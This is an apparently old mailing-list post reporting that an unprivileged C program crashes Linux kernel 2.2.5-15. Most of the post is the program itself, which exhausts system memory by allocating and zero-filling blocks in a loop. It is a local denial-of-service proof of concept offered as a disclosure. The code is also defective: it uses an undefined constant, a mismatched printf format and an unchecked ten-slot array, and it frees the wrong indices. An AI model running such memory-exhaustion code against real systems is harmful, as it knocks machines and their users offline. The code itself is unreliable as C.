Howdi friends,
I'm a bit new to linux, and perhaps don't belong on this mail list, but I've run across something that I just don't see as right. Here's some code I put together that has no problem bringing kernel 2.2.5-15 to it's knees even when run without any special priveleges. what's the situation?
Here's the code:
// Tested on kernel 2.2.5-15, this code crashes the system by allocating
// all system memory and writing data to it.
#include <stdlib.h>
#include <stdio.h>
void main(void)
{
unsigned long int mem = (1024 * 1024) + 1;
int i = 0;
char * data[10];
unsigned long int loop;
printf("Finding max memory allocatable...");
do
{
mem--;
data[i] = malloc(mem * 1024);
if(data[i] != NULL)
{
printf("Allocated %dKB of memory.\n", mem);
printf("Filling with 0x00...");
for(loop = 0; loop < mem * K; loop++) *(data[i] + loop) = 0x00;
printf("done.\n");
i++;
}
}
while(mem != 0);
printf("All memory allocated.\n");
printf("Press <ENTER> to free memory...\n");
getchar();
while(i != 0)
{
free(data[i]);
i--;
}
printf("Memory freed. Goodbye.\n");
return;
}
**********
Thanks for your time,
Christopher George
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